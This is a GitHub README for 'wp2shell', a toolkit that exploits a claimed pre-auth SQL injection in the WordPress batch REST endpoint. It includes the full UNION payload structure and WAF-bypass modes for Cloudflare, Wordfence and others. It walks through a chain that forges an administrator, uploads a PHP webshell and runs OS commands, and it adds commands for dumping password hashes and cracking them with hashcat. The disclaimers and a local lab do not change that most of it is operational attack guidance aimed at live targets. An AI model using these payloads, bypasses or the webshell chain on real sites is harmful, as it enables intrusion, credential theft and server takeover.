Skip to content

node011/wp2shell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 

Repository files navigation

wp2shell — Pre-Auth SQLi → RCE Toolkit

CVE-2026-60137 / CVE-2026-63030 Affected: WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1 — Fixed in 6.9.5 / 7.0.2 Auth required: None (unauthenticated) SQLi channels: UNION in-band · Boolean blind · Time-based · Plugin-sink (6.8.x) Impact: Full database read → no-hash-crack admin creation → OS command execution

For authorised security testing and research only.
Do not run against targets you do not have written permission to test.


What is WP2Shell?

WP2Shell is a pre-authentication SQL injection vulnerability in WordPress core's /batch/v1 REST API endpoint. An unauthenticated attacker can extract arbitrary data from the database — and escalate all the way to OS command execution — without cracking any password hash.

Affected versions

Range Status Notes
WordPress 7.0.0 – 7.0.1 Vulnerable (full chain) SQLi + RCE chain both reachable
WordPress 6.9.0 – 6.9.4 Vulnerable (full chain) Same batch confusion bug
WordPress 6.8.x Partial — SQLi only Batch confusion not present
WordPress 6.8.6, 6.9.5, 7.0.2, 7.1+ Patched

Root cause (30 seconds)

WordPress's batch REST handler processes nested batch requests. By placing an invalid URL as the first entry (/// or http://:), wp_parse_url() returns WP_Error, desynchronising the dispatcher's validation state. This allows a nested GET /wp/v2/posts/999999?author_exclude=<SQLI> to reach WP_Query with raw, unvalidated parameters. The author__not_in field is directly interpolated into SQL without parameterisation — UNION injection.

POST /wp-json/batch/v1
├── [0] POST ///                   ← PRIMER — desyncs dispatcher
├── [1] POST /wp/v2/posts
│   └── body.requests:
│       ├── [0] POST ///           ← second PRIMER
│       ├── [1] GET /wp/v2/posts/999999
│       │       ?author_exclude=1) AND 1=0 UNION ALL SELECT ...||HEX(expr)||... -- -
│       │       &orderby=none&per_page=500
│       └── [2] GET /wp/v2/posts
└── [2] POST /batch/v1             ← always rest_batch_not_allowed (expected)

Result location: responses[1].body.responses[1].body[0].title.rendered
→ "||3131382E382D4D6172696144422D75627532343034||"  → hex-decode → "11.8.8-MariaDB"

How RCE works — no auth, no hash cracking

The SQLi is not just a read primitive. UNION injection can write arbitrary rows directly into wp_posts. WordPress itself processes those rows as real records. The RCE chain abuses this:

Step 1 — Seed the oembed cache
  UNION-forge a post containing [embed] shortcodes pointing at loopback URLs.
  WordPress processes the embed → wp_oembed_get() creates oembed_cache rows
  in wp_posts (one per unique URL).

Step 2 — Read the cache row IDs back
  UNION SQLi reads the three oembed_cache post IDs from wp_posts.

Step 3 — Borrow an existing admin's user_id
  UNION SQLi reads the ID of any existing WordPress administrator from wp_users
  (only the numeric ID — the password hash is never touched).

Step 4 — Forge a customize_changeset post
  UNION-insert a customize_changeset post that carries a nav_menu_item payload
  with user_id = <existing admin's ID>.
  When the WordPress Customizer processes this changeset, it runs AS that user_id.
  The Customizer's own privilege escalation code then writes a fresh administrator
  to wp_users — with a password we choose — because the sub-request executes with
  the borrowed admin's capabilities.

Step 5 — Tail sub-request creates the new admin
  POST /wp/v2/users is appended as a tail sub-request inside the same batch.
  It executes under the borrowed admin context → new administrator created.
  No existing password is read, cracked, or used.

Step 6 — Login + webshell
  Tool logs in with the newly created admin credentials.
  Uploads a token-gated PHP plugin ZIP via the admin panel.
  Executes OS commands: GET /wp-content/plugins/<token>/<token>.php?t=TOKEN&c=<cmd>

References:


Requirements

  • Python 3.8+ (zero external dependencies — pure stdlib)
  • curl (for WAF testing / manual verification)
  • Docker + Compose v2 (for the local lab only)

Quick start

git clone https://github.com/node11/wp2shell
cd wp2shell

# Auto-detect WAF and run full DB dump (recommended starting point)
python3 wp2shell.py https://target.com

# Scan only — print version, WAF, /batch/v1 status, no exploit
python3 wp2shell.py https://target.com --mode scan

# No WAF — fastest UNION extraction
python3 wp2shell.py https://target.com --mode clean

# Target has Redis/Memcached (UNION rows cached) — use boolean blind
python3 wp2shell.py https://target.com --mode blind

# UNION and blind both flat — time-based last resort
python3 wp2shell.py https://target.com --mode timebased --sql "SELECT @@version"

# WordPress 6.8.x — inject via facilitating plugin endpoint
python3 wp2shell.py https://target.com --mode plugin-sink \
  --sink-url https://target.com/wp-json/myplugin/v1/posts \
  --sink-param author_exclude

# Pre-auth RCE — zero to shell, no hash cracking
python3 wp2shell.py https://target.com --mode shell --cmd "id"

Modes

The tool detects the WAF automatically and selects the right mode. You can also specify one explicitly.

Extraction modes

Mode Extraction method When to use
auto UNION in-band Default — fingerprints target, picks best mode
clean UNION in-band No WAF, fastest path (1 request per value)
blind Boolean binary-search Redis/Memcached in front of WP_Query — UNION rows are cached and not returned; blind probes each generate a unique cache key. ~7 requests/char. Auto-falls back to time-based if boolean is flat
timebased SLEEP() latency Last resort when both UNION and blind are flat — e.g. WAF normalises all 207 response bodies. ~3 s/char. Use --sql for short targeted queries
plugin-sink UNION or blind via plugin WordPress 6.8.x — batch confusion absent, but CVE-2026-60137 (author__not_in SQLi) exists at WP_Query level. Targets a facilitating plugin/theme endpoint directly. Requires --sink-url and --sink-param

WAF bypass modes

Mode When to use
scan Print target intel (WP version, WAF, /batch/v1 status) — no exploit sent
origin Cloudflare in front — connect directly to origin server IP
wf-nonce Wordfence — bypass URI rule with X-WP-Nonce header
wf-ip Wordfence — try 8 IP-spoof header variants (XFF, X-Real-IP, Client-IP…)
wf-plugin Wordfence — alternate /wpgb/v2/batch route (needs WP Grid Builder plugin)
w3tc W3 Total Cache — tunnels POST via GET + X-HTTP-Method-Override
generic Unknown WAF — 12-variant header/path waterfall
mangle Body-scanning WAF — 6 UNION keyword obfuscation variants

When UNION fails — decision tree

Start with:  python3 wp2shell.py https://target.com  (auto mode, UNION)

UNION returns empty / no result?
  → Does the site use Redis or Memcached?
      YES → --mode blind           (boolean channel bypasses object cache)
  → Is UNION blocked (WAF sees UNION keyword in body)?
      YES → --mode mangle          (obfuscated UNION variants)
  → Boolean channel also flat?
      YES → --mode timebased       (SLEEP-based, ~3 s/char, use --sql)

WordPress 6.8.x?
  → --mode plugin-sink --sink-url <endpoint> --sink-param <param>
  → Scan for plugin/theme endpoints that accept author_exclude GET param

WAF bypass quick reference

Target has Cloudflare?
  → Find origin IP (shodan.io / securitytrails.com / historical DNS)
  → python3 wp2shell.py https://target.com --mode origin --origin-ip 1.2.3.4

Target has Wordfence?
  → python3 wp2shell.py https://target.com --mode wf-nonce --nonce auto
  → If blocked: python3 wp2shell.py https://target.com --mode wf-ip
  → If wpgb plugin present: --mode wf-plugin

Target has W3 Total Cache?
  → python3 wp2shell.py https://target.com --mode w3tc

IP blocked / need browser cookies?
  → Visit the site in a browser, copy the Cookie header from Burp/DevTools
  → python3 wp2shell.py https://target.com --cookie "cf_clearance=...; wfCBLBypass=..."

Generic 403?
  → python3 wp2shell.py https://target.com --mode generic

WAF inspects JSON body?
  → python3 wp2shell.py https://target.com --mode mangle

Usage reference

python3 wp2shell.py <URL> [options]

Options:
  --mode <mode>        Attack mode (default: auto)
                       UNION:  auto | clean | origin | wf-nonce | wf-ip |
                               wf-plugin | w3tc | generic | mangle
                       BLIND:  blind | timebased
                       SINK:   plugin-sink
                       OTHER:  scan | shell
  --origin-ip <ip>     Origin server IP (--mode origin)
  --nonce <token|auto> X-WP-Nonce value or 'auto' to extract from page JS
  --cookie <string>    Full Cookie header (e.g. 'cf_clearance=...; ...')
  --sql <expr>         Single SQL expression instead of default chain
  --no-preflight       Skip fingerprint scan (faster, less noisy)
  --user <username>    Admin username  (--mode shell — skip pre-auth creation)
  --password <pass>    Admin password  (--mode shell — skip pre-auth creation)
  --cmd <command>      OS command to run via webshell (--mode shell)
  --interactive        Drop into interactive shell REPL (--mode shell)
  --sink-url <url>     Facilitating plugin endpoint URL (--mode plugin-sink)
  --sink-param <name>  GET parameter forwarded to WP_Query (--mode plugin-sink)
  --true-str <substr>  Substring present only when rows match — enables boolean
                       mode in plugin-sink; omit to use time-based

Exit codes:
  0  vulnerable — SQL extracted / RCE confirmed
  1  patched    — WordPress 6.9.5+ / 7.0.2+
  2  blocked    — WAF not bypassed / RCE step failed / channel flat
  3  error      — usage / connectivity

Default SQL chain

When no --sql is given, the tool runs these five queries in sequence:

SELECT @@version
SELECT user()
SELECT database()
SELECT GROUP_CONCAT(table_name ...) FROM information_schema.tables ...
SELECT GROUP_CONCAT(user_login,0x3a,user_pass ...) FROM wp_users LIMIT 5

Local lab

Spins up a vulnerable WordPress 7.0.1 instance backed by MariaDB. Supports Docker, Podman (with podman-compose), and Podman standalone (no compose).

Option A — Docker

cd lab

# Start (WP 7.0.1, port 8080)
docker compose up -d
docker compose logs -f wpcli          # wait for "LAB READY"

# Run exploit
python3 ../wp2shell.py http://localhost:8080 --mode clean

# Expected:
#   [QUERY] SELECT @@version
#   [+] RESULT: 11.8.8-MariaDB-ubu2404

# Admin: http://localhost:8080/wp-admin  (admin / Admin!2345)
# Tear down:
docker compose down -v

Option B — Podman with podman-compose

# Install podman-compose if not already installed
pip3 install podman-compose
# macOS: start the Podman VM first
podman machine start

cd lab
podman-compose up -d
podman-compose logs -f wpcli          # wait for "LAB READY"

python3 ../wp2shell.py http://localhost:8080 --mode clean

# Tear down:
podman-compose down -v

Podman <4 note: if service_healthy dependency causes errors, edit docker-compose.yml and change both condition: service_healthy lines to condition: service_started.

Option C — Podman standalone (no compose required)

cd lab
./podman-run.sh up          # pulls images, starts db+wp, runs wpcli installer
                             # prints "LAB READY" when done

python3 ../wp2shell.py http://localhost:8080 --mode clean

./podman-run.sh down        # stop and remove all lab containers + volume
./podman-run.sh status      # show running containers
./podman-run.sh logs        # tail logs

Override version or port:

WP_IMAGE=wordpress:7.0.2-apache PORT=8081 ./podman-run.sh up

Test the patched version

# Docker
WP_IMAGE=wordpress:7.0.2-apache docker compose up -d
# Podman
WP_IMAGE=wordpress:7.0.2-apache ./lab/podman-run.sh up

# Expected: state=patched, exit code 1
python3 wp2shell.py http://localhost:8080 --mode clean

Version matrix test

for VER in 7.0.0 7.0.1 7.0.2; do
  echo "=== WP $VER ==="
  WP_IMAGE=wordpress:${VER}-apache PORT=8080 ./lab/podman-run.sh up
  python3 wp2shell.py http://localhost:8080 --mode clean --sql "SELECT @@version"
  ./lab/podman-run.sh down
done

How the UNION payload works

# 1. The injection value for author_exclude:
#    "1)" closes WordPress's  NOT IN(  list
#    "AND 1=0" suppresses real rows
#    "UNION ALL SELECT" injects our fake wp_post row
#    "-- -" comments out the rest

author_exclude = "1) AND 1=0 UNION ALL SELECT " + 23_cols + " -- -"

# 2. The 23 columns must satisfy wp_posts column types:
#    col 1  = 999999          (fake ID)
#    col 6  = CONCAT(||, HEX(CAST(expr AS CHAR)), ||)  ← exfil, lands in title
#    col 8  = 'publish'       (post_status — required for REST to return the row)
#    col 21 = 'post'          (post_type  — same)
#    col 3,4,15,16 = date literals

# 3. Key query parameters that make it work:
#    per_page=500   → bypasses split_the_query LIMIT guard
#    orderby=none   → drops ORDER BY that would break UNION syntax
#    /posts/999999? → single-item endpoint has NO REST schema for these params
#                     → they pass straight through to WP_Query unvalidated

# 4. Result is in:
#    response["responses"][1]["body"]["responses"][1]["body"][0]["title"]["rendered"]
#    → "||31312E382E382D4D6172696144422D75627532343034||"
#    → hex decode → "11.8.8-MariaDB-ubu2404"

Patch detection

Response Meaning
HTTP 207, `
HTTP 207/401, rest_cannot_create or rest_forbidden code Patched (WP 7.0.2+)
HTTP 403/503, "wordfence" in body Wordfence blocking
HTTP 403, "Just a moment" / cf-mitigated Cloudflare challenge
HTTP 404, rest_no_route REST API disabled

--mode shell — Full pre-auth RCE chain

Lab-validated 2026-07-19 on WP 7.0.1 + MariaDB 11.8.8 (VSI)

--mode shell goes from zero authentication to OS command execution without cracking any hash:

SQLi UNION → forge oembed_cache posts
         → read cache IDs back via UNION
         → UNION-forge customize_changeset + nav_menu_item
         → POST /wp/v2/users tail sub-request → Customizer runs as borrowed admin
         → new administrator created (no hash required)
         → login → upload plugin ZIP with token-gated PHP webshell
         → execute: GET /wp-content/plugins/<token>/<token>.php?t=TOKEN&c=<cmd>

Usage

# Full pre-auth RCE — let the tool create the admin
python3 wp2shell.py https://target.com --mode shell

# With a single OS command
python3 wp2shell.py https://target.com --mode shell --cmd "id; hostname; uname -r"

# Supply existing admin creds (skip pre-auth creation step)
python3 wp2shell.py https://target.com --mode shell --user admin --password s3cr3t

# Drop into interactive shell REPL
python3 wp2shell.py https://target.com --mode shell --interactive

Example output (validated against lab)

[mode: shell] Full RCE chain — SQLi → admin → webshell
  No credentials supplied — attempting pre-auth admin creation...
  (This writes rows to wp_posts and wp_users — authorised testing only)
  [+] Admin created: wp2_aa7e6b06db9e  /  Wp2!4e6JBDOrnAHzU4Qhd4ik
  Logging in as 'wp2_aa7e6b06db9e'...
  [+] Authenticated
  Uploading plugin webshell...
  [+] Webshell: http://target.com/wp-content/plugins/wp2shell_3cae7b25/wp2shell_3cae7b25.php
  Running: id

  [+] RCE OUTPUT:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

  CLEANUP (do this before ending the test):
  1. Delete webshell plugin in /wp-admin/plugins.php
  2. Delete test admin: wp2_aa7e6b06db9e  from /wp-admin/users.php

Cleanup (mandatory after testing)

The chain writes two artefacts to the target. Delete both before ending the test:

Artefact Where How to delete
Plugin webshell /wp-content/plugins/wp2shell_<token>/ wp-admin → Plugins → Deactivate + Delete
Test admin wp_users (login: wp2_<hex>) wp-admin → Users → Delete

Or via WP-CLI if you have server access:

wp plugin delete wp2shell_<token>
wp user delete wp2_<hex> --reassign=1

Post-exploitation (authorised testing only)

Once wp_users is dumped (via --mode clean / --mode auto):

# WP 7.x uses bcrypt ($wp$2y$10$ prefix) — hashcat mode 3200 (NOT 400)
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

# WP 6.x and older use phpass ($P$ prefix) — hashcat mode 400
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt

# After cracking → login to /wp-admin
# Or skip hash cracking entirely: use --mode shell (pre-auth admin creation)

File structure

wp2shell/
├── wp2shell.py            ← exploit toolkit (single file, zero deps, Python 3.8+)
├── lab/
│   ├── docker-compose.yml ← WP 7.0.1 lab (Docker or podman-compose)
│   └── podman-run.sh      ← standalone Podman helper (no compose required)
├── README.md
├── LICENSE
└── .gitignore

License

MIT — see LICENSE.
Use only against systems you are authorised to test.

About

Vibe Coded wp2shell with IBM BOB

Resources

License

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors